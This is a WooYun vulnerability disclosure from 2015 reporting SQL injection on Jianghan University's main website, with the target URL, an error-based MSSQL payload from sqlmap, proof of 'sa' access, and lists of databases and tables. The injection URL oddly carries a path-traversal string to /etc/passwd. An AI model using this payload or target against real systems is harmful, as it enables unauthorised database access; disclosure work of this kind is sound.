当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129363

漏洞标题:江汉大学主站存在严重注入漏洞(爆库爆表sa权限)

相关厂商:CCERT教育网应急响应组

漏洞作者: wsg00d

提交时间:2015-07-27 17:21

修复时间:2015-08-01 17:22

公开时间:2015-08-01 17:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-08-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

江汉大学主站存在严重注入漏洞(爆库爆表sa权限)

详细说明:

注入点

http://www.jhun.edu.cn/jdept.asp?dept=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%23%27%40%21%5C


111111111111111.png


2.png


当前用户为sa权限

333333333333333333830.png


4444444444444444905.png


555555555555555234925.png


6666666666666666660725234958.png

漏洞证明:

存在注入
注入点

http://www.jhun.edu.cn/jdept.asp?dept=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%23%27%40%21%5C


GET parameter 'dept' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 85 HTTP(s) requests:
Parameter: dept (GET)
Type: errorbased
Title: Microsoft SQL Server/Sybase OR errorbased WHERE or HAVING clause
Payload: dept=1649' OR 6891=CONVERT(INT,(SELECT CHAR(113)CHAR(112)CHAR(118)CHAR(106)CHAR(113)(SELECT (CASE WHEN (6891=6891) THEN CHAR(49) ELSE CHAR(48) END))CHAR(113)CHAR(107)CHAR(118)CHAR(106)CHAR(113))) AND 'rTFm'='rTFm
[23:21:26] [INFO] testing Microsoft SQL Server
[23:21:27] [INFO] confirming Microsoft SQL Server
[23:21:28] [INFO] the backend DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
backend DBMS: Microsoft SQL Server 2000
当前用户权限为sa
application technology: ASP.NET, Microsoft IIS 6.0, ASP
backend DBMS: Microsoft SQL Server 2000
[23:34:57] [INFO] fetching current user
[23:34:59] [WARNING] reflective value(s) found and filtering out
[23:35:00] [INFO] retrieved: sa
current user: 'sa'
爆出各种数据库
[INFO] retrieved: tempdb
[23:24:04] [INFO] retrieved: model
[23:24:05] [INFO] retrieved: msdb
[23:24:05] [INFO] retrieved: pubs
[23:24:05] [INFO] retrieved: Northwind
[23:24:06] [INFO] retrieved: JHUN
[23:24:06] [INFO] retrieved:
available databases [7]:
[*] JHUN
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
各种表
Database: JHUN
[25 tables]
D99_CMD
D99_Tmp
DIY_TEMPCOMMAND_TABLE
Data_Discuss
Dept
Dept_Items
Dept_Items_Datas
Dept_Items_Datas_Attachs
Dept_Sub_Items
Notion
Operator
Parameter
Photo
SSub_Category
Visit_IP
Visit_Log
dtproperties
jiaozhu
myData
syscommand
sysconstraints
syssegments
tbAppeal
tbMngUser
test
Database: pubs
[14 tables]
authors
discounts
employee
jobs
pub_info
publishers
roysched
sales
stores
sysconstraints
syssegments
titleauthor
titles
titleview
Database: Northwind
[31 tables]
Categories
CustomerCustomerDemo
CustomerDemographics
Customers
EmployeeTerritories
Employees
Invoices
Orders
Products
Region
Shippers
Suppliers
Territories
Alphabetical list of products
Category Sales for 1997
Current Product List
Customer and Suppliers by City
Order Details Extended
Order Details
Order Subtotals
Orders Qry
Product Sales for 1997
Products Above Average Price
Products by Category
Quarterly Orders
Sales Totals by Amount
Sales by Category
Summary of Sales by Quarter
Summary of Sales by Year
sysconstraints
syssegments

修复方案:

你们更专业

版权声明:转载请注明来源 wsg00d@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-01 17:22

厂商回复:

最新状态:

暂无


漏洞评价:

评论